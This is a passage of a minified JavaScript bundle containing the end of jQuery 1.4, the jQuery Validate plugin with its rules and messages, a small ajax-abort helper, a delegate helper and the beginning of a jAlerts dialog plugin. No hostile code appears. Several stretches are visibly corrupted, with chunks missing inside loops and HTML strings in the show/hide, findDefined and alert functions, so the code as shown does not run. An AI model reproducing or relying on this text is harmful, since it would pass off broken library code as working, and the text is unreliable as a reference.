a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b==="json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\[\]$/.test(i)?f(i,n):d(i+"["+(typeof n==="object"||c.isArray(n)?k:"")+"]",n)});else!b&&o!=null&&typeof o==="object"?c.each(o,function(k,n){d(i+"["+k+"]",n)}):f(i,o)}function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i)+"="+encodeURIComponent(o)}var e=[];if(b===w)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var j in a)d(j,a[j]);return e.join("&").replace(yb,"+")}});var la={},Ab=/toggle|show|hide/,Bb=/^([+-]=)?([\d+-.]+)(.*)$/,W,va=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();la[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration==="number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(j){return e.step(j)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b
";a.insertBefore(b,a.firstChild);d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==j;a.removeChild(b);c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),j=parseInt(c.curCSS(a,"top",true),10)||0,i=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,d,e);d={top:b.top-e.top+j,left:b.left-e.left+i};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||s.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],j;if(!e)return null;if(f!==w)return this.each(function(){if(j=wa(this))j.scrollTo(!a?f:c(j).scrollLeft(),a?f:c(j).scrollTop());else this[d]=f});else return(j=wa(e))?"pageXOffset"in j?j[a?"pageYOffset":"pageXOffset"]:c.support.boxModel&&j.document.documentElement[d]||j.document.body[d]:e[d]}});c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(j){var i=c(this);i[d](f.call(this,j,i[d]()))});return"scrollTo"in e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===w?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});A.jQuery=A.$=c})(window);(function($){$.extend($.fn,{validate:function(options){if(!this.length){options&&options.debug&&window.console&&console.warn("nothing selected, can't validate, returning nothing");return}var validator=$.data(this[0],"validator");if(validator){return validator}validator=new $.validator(options,this[0]);$.data(this[0],"validator",validator);if(validator.settings.onsubmit){this.find("input, button").filter(".cancel").click(function(){validator.cancelSubmit=true});if(validator.settings.submitHandler){this.find("input, button").filter(":submit").click(function(){validator.submitButton=this})}this.submit(function(event){if(validator.settings.debug){event.preventDefault()}function handle(){if(validator.settings.submitHandler){if(validator.submitButton){var hidden=$("").attr("name",validator.submitButton.name).val(validator.submitButton.value).appendTo(validator.currentForm)}validator.settings.submitHandler.call(validator,validator.currentForm);if(validator.submitButton){hidden.remove()}return false}return true}if(validator.cancelSubmit){validator.cancelSubmit=false;return handle()}if(validator.form()){if(validator.pendingRequest){validator.formSubmitted=true;return false}return handle()}else{validator.focusInvalid();return false}})}return validator},valid:function(){if($(this[0]).is("form")){return this.validate().form()}else{var valid=true;var validator=$(this[0].form).validate();this.each(function(){valid&=validator.element(this)});return valid}},removeAttrs:function(attributes){var result={},$element=this;$.each(attributes.split(/\s/),function(index,value){result[value]=$element.attr(value);$element.removeAttr(value)});return result},rules:function(command,argument){var element=this[0];if(command){var settings=$.data(element.form,"validator").settings;var staticRules=settings.rules;var existingRules=$.validator.staticRules(element);switch(command){case"add":$.extend(existingRules,$.validator.normalizeRule(argument));staticRules[element.name]=existingRules;if(argument.messages){settings.messages[element.name]=$.extend(settings.messages[element.name],argument.messages)}break;case"remove":if(!argument){delete staticRules[element.name];return existingRules}var filtered={};$.each(argument.split(/\s/),function(index,method){filtered[method]=existingRules[method];delete existingRules[method]});return filtered}}var data=$.validator.normalizeRules($.extend({},$.validator.metadataRules(element),$.validator.classRules(element),$.validator.attributeRules(element),$.validator.staticRules(element)),element);if(data.required){var param=data.required;delete data.required;data=$.extend({required:param},data)}return data}});$.extend($.expr[":"],{blank:function(a){return!$.trim(a.value)},filled:function(a){return!!$.trim(a.value)},unchecked:function(a){return!a.checked}});$.validator=function(options,form){this.settings=$.extend({},$.validator.defaults,options);this.currentForm=form;this.init()};$.validator.format=function(source,params){if(arguments.length==1){return function(){var args=$.makeArray(arguments);args.unshift(source);return $.validator.format.apply(this,args)}}if(arguments.length>2&¶ms.constructor!=Array){params=$.makeArray(arguments).slice(1)}if(params.constructor!=Array){params=[params]}$.each(params,function(i,n){source=source.replace(new RegExp("\\{"+i+"\\}","g"),n)});return source};$.extend($.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusInvalid:true,errorContainer:$([]),errorLabelContainer:$([]),onsubmit:true,ignore:[],ignoreTitle:false,onfocusin:function(element){this.lastActive=element;if(this.settings.focusCleanup&&!this.blockFocusCleanup){this.settings.unhighlight&&this.settings.unhighlight.call(this,element,this.settings.errorClass,this.settings.validClass);this.errorsFor(element).hide()}},onfocusout:function(element){if(!this.checkable(element)&&(element.name in this.submitted||!this.optional(element))){this.element(element)}},onkeyup:function(element){if(element.name in this.submitted||element==this.lastElement){this.element(element)}},onclick:function(element){if(element.name in this.submitted){this.element(element)}},highlight:function(element,errorClass,validClass){$(element).addClass(errorClass).removeClass(validClass)},unhighlight:function(element,errorClass,validClass){$(element).removeClass(errorClass).addClass(validClass)}},setDefaults:function(settings){$.extend($.validator.defaults,settings)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",dateDE:"Bitte geben Sie ein gltiges Datum ein.",number:"Please enter a valid number.",numberDE:"Bitte geben Sie eine Nummer ein.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:false,prototype:{init:function(){this.labelContainer=$(this.settings.errorLabelContainer);this.errorContext=this.labelContainer.length&&this.labelContainer||$(this.currentForm);this.containers=$(this.settings.errorContainer).add(this.settings.errorLabelContainer);this.submitted={};this.valueCache={};this.pendingRequest=0;this.pending={};this.invalid={};this.reset();var groups=(this.groups={});$.each(this.settings.groups,function(key,value){$.each(value.split(/\s/),function(index,name){groups[name]=key})});var rules=this.settings.rules;$.each(rules,function(key,value){rules[key]=$.validator.normalizeRule(value)});function delegate(event){var validator=$.data(this[0].form,"validator");validator.settings["on"+event.type]&&validator.settings["on"+event.type].call(validator,this[0])}$(this.currentForm).delegate("focusin focusout keyup",":text, :password, :file, select, textarea",delegate).delegate("click",":radio, :checkbox",delegate);if(this.settings.invalidHandler){$(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler)}},form:function(){this.checkForm();$.extend(this.submitted,this.errorMap);this.invalid=$.extend({},this.errorMap);if(!this.valid()){$(this.currentForm).triggerHandler("invalid-form",[this])}this.showErrors();return this.valid()},checkForm:function(){this.prepareForm();for(var i=0,elements=(this.currentElements=this.elements());elements[i];i++){this.check(elements[i])}return this.valid()},element:function(element){element=this.clean(element);this.lastElement=element;this.prepareElement(element);this.currentElements=$(element);var result=this.check(element);if(result){delete this.invalid[element.name]}else{this.invalid[element.name]=true}if(!this.numberOfInvalids()){this.toHide=this.toHide.add(this.containers)}this.showErrors();return result},showErrors:function(errors){if(errors){$.extend(this.errorMap,errors);this.errorList=[];for(var name in errors){this.errorList.push({message:errors[name],element:this.findByName(name)[0]})}this.successList=$.grep(this.successList,function(element){return!(element.name in errors)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){if($.fn.resetForm){$(this.currentForm).resetForm()}this.submitted={};this.prepareForm();this.hideErrors();this.elements().removeClass(this.settings.errorClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(obj){var count=0;for(var i in obj){count++}return count},hideErrors:function(){this.addWrapper(this.toHide).hide()},valid:function(){return this.size()==0},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid){try{$(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus()}catch(e){}}},findLastActive:function(){var lastActive=this.lastActive;return lastActive&&$.grep(this.errorList,function(n){return n.element.name==lastActive.name}).length==1&&lastActive},elements:function(){var validator=this,rulesCache={};return $([]).add(this.currentForm.elements).filter(":input").not(":submit, :reset, :image, [disabled]").not(this.settings.ignore).filter(function(){!this.name&&validator.settings.debug&&window.console&&console.error("%o has no name assigned",this);if(this.name in rulesCache||!validator.objectLength($(this).rules())){return false}rulesCache[this.name]=true;return true})},clean:function(selector){return $(selector)[0]},errors:function(){return $(this.settings.errorElement+"."+this.settings.errorClass,this.errorContext)},reset:function(){this.successList=[];this.errorList=[];this.errorMap={};this.toShow=$([]);this.toHide=$([]);this.formSubmitted=false;this.currentElements=$([])},prepareForm:function(){this.reset();this.toHide=this.errors().add(this.containers)},prepareElement:function(element){this.reset();this.toHide=this.errorsFor(element)},check:function(element){element=this.clean(element);if(this.checkable(element)){element=this.findByName(element.name)[0]}var rules=$(element).rules();var dependencyMismatch=false;for(method in rules){var rule={method:method,parameters:rules[method]};try{var result=$.validator.methods[method].call(this,element.value.replace(/\r/g,""),element,rule.parameters);if(result=="dependency-mismatch"){dependencyMismatch=true;continue}dependencyMismatch=false;if(result=="pending"){this.toHide=this.toHide.not(this.errorsFor(element));return}if(!result){this.formatAndAdd(element,rule);return false}}catch(e){this.settings.debug&&window.console&&console.log("exception occured when checking element "+element.id+", check the '"+rule.method+"' method");throw e}}if(dependencyMismatch){return}if(this.objectLength(rules)){this.successList.push(element)}return true},customMetaMessage:function(element,method){if(!$.metadata){return}var meta=this.settings.meta?$(element).metadata()[this.settings.meta]:$(element).metadata();return meta&&meta.messages&&meta.messages[method]},customMessage:function(name,method){var m=this.settings.messages[name];return m&&(m.constructor==String?m:m[method])},findDefined:function(){for(var i=0;iWarning: No message defined for "+element.name+"")},formatAndAdd:function(element,rule){var message=this.defaultMessage(element,rule.method);if(typeof message=="function"){message=message.call(this,rule.parameters,element)}this.errorList.push({message:message,element:element});this.errorMap[element.name]=message;this.submitted[element.name]=message},addWrapper:function(toToggle){if(this.settings.wrapper){toToggle=toToggle.add(toToggle.parent(this.settings.wrapper))}return toToggle},defaultShowErrors:function(){for(var i=0;this.errorList[i];i++){var error=this.errorList[i];this.settings.highlight&&this.settings.highlight.call(this,error.element,this.settings.errorClass,this.settings.validClass);this.showLabel(error.element,error.message)}if(this.errorList.length){this.toShow=this.toShow.add(this.containers)}if(this.settings.success){for(var i=0;this.successList[i];i++){this.showLabel(this.successList[i])}}if(this.settings.unhighlight){for(var i=0,elements=this.validElements();elements[i];i++){this.settings.unhighlight.call(this,elements[i],this.settings.errorClass,this.settings.validClass)}}this.toHide=this.toHide.not(this.toShow);this.hideErrors();this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return $(this.errorList).map(function(){return this.element})},showLabel:function(element,message){var label=this.errorsFor(element);if(label.length){label.removeClass().addClass(this.settings.errorClass);label.attr("generated")&&label.html(message)}else{label=$("<"+this.settings.errorElement+"/>").attr({"for":this.idOrName(element),generated:true}).addClass(this.settings.errorClass).html(message||"");if(this.settings.wrapper){label=label.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()}if(!this.labelContainer.append(label).length){this.settings.errorPlacement?this.settings.errorPlacement(label,$(element)):label.insertAfter(element)}}if(!message&&this.settings.success){label.text("");typeof this.settings.success=="string"?label.addClass(this.settings.success):this.settings.success(label)}this.toShow=this.toShow.add(label)},errorsFor:function(element){return this.errors().filter("[for='"+this.idOrName(element)+"']")},idOrName:function(element){return this.groups[element.name]||(this.checkable(element)?element.name:element.id||element.name)},checkable:function(element){return/radio|checkbox/i.test(element.type)},findByName:function(name){var form=this.currentForm;return $(document.getElementsByName(name)).map(function(index,element){return element.form==form&&element.name==name&&element||null})},getLength:function(value,element){switch(element.nodeName.toLowerCase()){case"select":return $("option:selected",element).length;case"input":if(this.checkable(element)){return this.findByName(element.name).filter(":checked").length}}return value.length},depend:function(param,element){return this.dependTypes[typeof param]?this.dependTypes[typeof param](param,element):true},dependTypes:{"boolean":function(param,element){return param},string:function(param,element){return!!$(param,element.form).length},"function":function(param,element){return param(element)}},optional:function(element){return!$.validator.methods.required.call(this,$.trim(element.value),element)&&"dependency-mismatch"},startRequest:function(element){if(!this.pending[element.name]){this.pendingRequest++;this.pending[element.name]=true}},stopRequest:function(element,valid){this.pendingRequest--;if(this.pendingRequest<0){this.pendingRequest=0}delete this.pending[element.name];if(valid&&this.pendingRequest==0&&this.formSubmitted&&this.form()){$(this.currentForm).submit()}else{if(!valid&&this.pendingRequest==0&&this.formSubmitted){$(this.currentForm).triggerHandler("invalid-form",[this])}}},previousValue:function(element){return $.data(element,"previousValue")||$.data(element,"previousValue",previous={old:null,valid:true,message:this.defaultMessage(element,"remote")})}},classRuleSettings:{required:{required:true},email:{email:true},url:{url:true},date:{date:true},dateISO:{dateISO:true},dateDE:{dateDE:true},number:{number:true},numberDE:{numberDE:true},digits:{digits:true},creditcard:{creditcard:true}},addClassRules:function(className,rules){className.constructor==String?this.classRuleSettings[className]=rules:$.extend(this.classRuleSettings,className)},classRules:function(element){var rules={};var classes=$(element).attr("class");classes&&$.each(classes.split(" "),function(){if(this in $.validator.classRuleSettings){$.extend(rules,$.validator.classRuleSettings[this])}});return rules},attributeRules:function(element){var rules={};var $element=$(element);for(method in $.validator.methods){var value=$element.attr(method);if(value){rules[method]=value}}if(rules.maxlength&&/-1|2147483647|524288/.test(rules.maxlength)){delete rules.maxlength}return rules},metadataRules:function(element){if(!$.metadata){return{}}var meta=$.data(element.form,"validator").settings.meta;return meta?$(element).metadata()[meta]:$(element).metadata()},staticRules:function(element){var rules={};var validator=$.data(element.form,"validator");if(validator.settings.rules){rules=$.validator.normalizeRule(validator.settings.rules[element.name])||{}}return rules},normalizeRules:function(rules,element){$.each(rules,function(prop,val){if(val===false){delete rules[prop];return}if(val.param||val.depends){var keepRule=true;switch(typeof val.depends){case"string":keepRule=!!$(val.depends,element.form).length;break;case"function":keepRule=val.depends.call(element,element);break}if(keepRule){rules[prop]=val.param!==undefined?val.param:true}else{delete rules[prop]}}});$.each(rules,function(rule,parameter){rules[rule]=$.isFunction(parameter)?parameter(element):parameter});$.each(["minlength","maxlength","min","max"],function(){if(rules[this]){rules[this]=Number(rules[this])}});$.each(["rangelength","range"],function(){if(rules[this]){rules[this]=[Number(rules[this][0]),Number(rules[this][1])]}});if($.validator.autoCreateRanges){if(rules.min&&rules.max){rules.range=[rules.min,rules.max];delete rules.min;delete rules.max}if(rules.minlength&&rules.maxlength){rules.rangelength=[rules.minlength,rules.maxlength];delete rules.minlength;delete rules.maxlength}}if(rules.messages){delete rules.messages}return rules},normalizeRule:function(data){if(typeof data=="string"){var transformed={};$.each(data.split(/\s/),function(){transformed[this]=true});data=transformed}return data},addMethod:function(name,method,message){$.validator.methods[name]=method;$.validator.messages[name]=message||$.validator.messages[name];if(method.length<3){$.validator.addClassRules(name,$.validator.normalizeRule(name))}},methods:{required:function(value,element,param){if(!this.depend(param,element)){return"dependency-mismatch"}switch(element.nodeName.toLowerCase()){case"select":var options=$("option:selected",element);return options.length>0&&(element.type=="select-multiple"||($.browser.msie&&!(options[0].attributes.value.specified)?options[0].text:options[0].value).length>0);case"input":if(this.checkable(element)){return this.getLength(value,element)>0}default:return $.trim(value).length>0}},remote:function(value,element,param){if(this.optional(element)){return"dependency-mismatch"}var previous=this.previousValue(element);if(!this.settings.messages[element.name]){this.settings.messages[element.name]={}}this.settings.messages[element.name].remote=typeof previous.message=="function"?previous.message(value):previous.message;param=typeof param=="string"&&{url:param}||param;if(previous.old!==value){previous.old=value;var validator=this;this.startRequest(element);var data={};data[element.name]=value;$.ajax($.extend(true,{url:param,mode:"abort",port:"validate"+element.name,dataType:"json",data:data,success:function(response){var valid=response===true;if(valid){var submitted=validator.formSubmitted;validator.prepareElement(element);validator.formSubmitted=submitted;validator.successList.push(element);validator.showErrors()}else{var errors={};errors[element.name]=previous.message=response||validator.defaultMessage(element,"remote");validator.showErrors(errors)}previous.valid=valid;validator.stopRequest(element,valid)}},param));return"pending"}else{if(this.pending[element.name]){return"pending"}}return previous.valid},minlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)>=param},maxlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)<=param},rangelength:function(value,element,param){var length=this.getLength($.trim(value),element);return this.optional(element)||(length>=param[0]&&length<=param[1])},min:function(value,element,param){return this.optional(element)||value>=param},max:function(value,element,param){return this.optional(element)||value<=param},range:function(value,element,param){return this.optional(element)||(value>=param[0]&&value<=param[1])},email:function(value,element){return this.optional(element)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i.test(value)},url:function(value,element){return this.optional(element)||/^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(value)},date:function(value,element){return this.optional(element)||!/Invalid|NaN/.test(new Date(value))},dateISO:function(value,element){return this.optional(element)||/^\d{4}[\/-]\d{1,2}[\/-]\d{1,2}$/.test(value)},dateDE:function(value,element){return this.optional(element)||/^\d\d?\.\d\d?\.\d\d\d?\d?$/.test(value)},number:function(value,element){return this.optional(element)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)(?:\.\d+)?$/.test(value)},numberDE:function(value,element){return this.optional(element)||/^-?(?:\d+|\d{1,3}(?:\.\d{3})+)(?:,\d+)?$/.test(value)},digits:function(value,element){return this.optional(element)||/^\d+$/.test(value)},creditcard:function(value,element){if(this.optional(element)){return"dependency-mismatch"}if(/[^0-9-]+/.test(value)){return false}var nCheck=0,nDigit=0,bEven=false;value=value.replace(/\D/g,"");for(n=value.length-1;n>=0;n--){var cDigit=value.charAt(n);var nDigit=parseInt(cDigit,10);if(bEven){if((nDigit*=2)>9){nDigit-=9}}nCheck+=nDigit;bEven=!bEven}return(nCheck%10)==0},accept:function(value,element,param){param=typeof param=="string"?param.replace(/,/g,"|"):"png|jpe?g|gif";return this.optional(element)||value.match(new RegExp(".("+param+")$","i"))},equalTo:function(value,element,param){return value==$(param).val()}}});$.format=$.validator.format})(jQuery);(function($){var ajax=$.ajax;var pendingRequests={};$.ajax=function(settings){settings=$.extend(settings,$.extend({},$.ajaxSettings,settings));var port=settings.port;if(settings.mode=="abort"){if(pendingRequests[port]){pendingRequests[port].abort()}return(pendingRequests[port]=ajax.apply(this,arguments))}return ajax.apply(this,arguments)}})(jQuery);(function($){$.each({focus:"focusin",blur:"focusout"},function(original,fix){$.event.special[fix]={setup:function(){if($.browser.msie){return false}this.addEventListener(original,$.event.special[fix].handler,true)},teardown:function(){if($.browser.msie){return false}this.removeEventListener(original,$.event.special[fix].handler,true)},handler:function(e){arguments[0]=$.event.fix(e);arguments[0].type=fix;return $.event.handle.apply(this,arguments)}}});$.extend($.fn,{delegate:function(type,delegate,handler){return this.bind(type,function(event){var target=$(event.target);if(target.is(delegate)){return handler.apply(target,arguments)}})},triggerEvent:function(type,target){return this.triggerHandler(type,[$.event.fix({type:type,target:target})])}})})(jQuery);(function($){$.alerts={verticalOffset:-75,horizontalOffset:0,repositionOnResize:true,overlayOpacity:0.5,overlayColor:"#000",draggable:true,okButton:" OK ",cancelButton:" Cancel ",dialogClass:null,alert:function(message,title,callback){if(title==null){title="Alert"}$.alerts._show(title,message,null,"alert",function(result){if(callback){callback(result)}})},confirm:function(message,title,callback){if(title==null){title="Confirm"}$.alerts._show(title,message,null,"confirm",function(result){if(callback){callback(result)}})},prompt:function(message,value,title,callback){if(title==null){title="Prompt"}$.alerts._show(title,message,value,"prompt",function(result){if(callback){callback(result)}})},_show:function(title,msg,value,type,callback){$.alerts._hide();$.alerts._overlay("show");$("BODY").append('');if($.alerts.dialogClass){$("#popup_container").addClass($.alerts.dialogClass)}var pos=($.browser.msie&&parseInt($.browser.version)<=6)?"absolute":"fixed";$("#popup_container").css({position:pos,zIndex:99999,padding:0,margin:0});$("#popup_title").text(title);$("#popup_content").addClass(type);$("#popup_message").text(msg);$("#popup_message").html($("#popup_message").text().replace(/\n/g,"
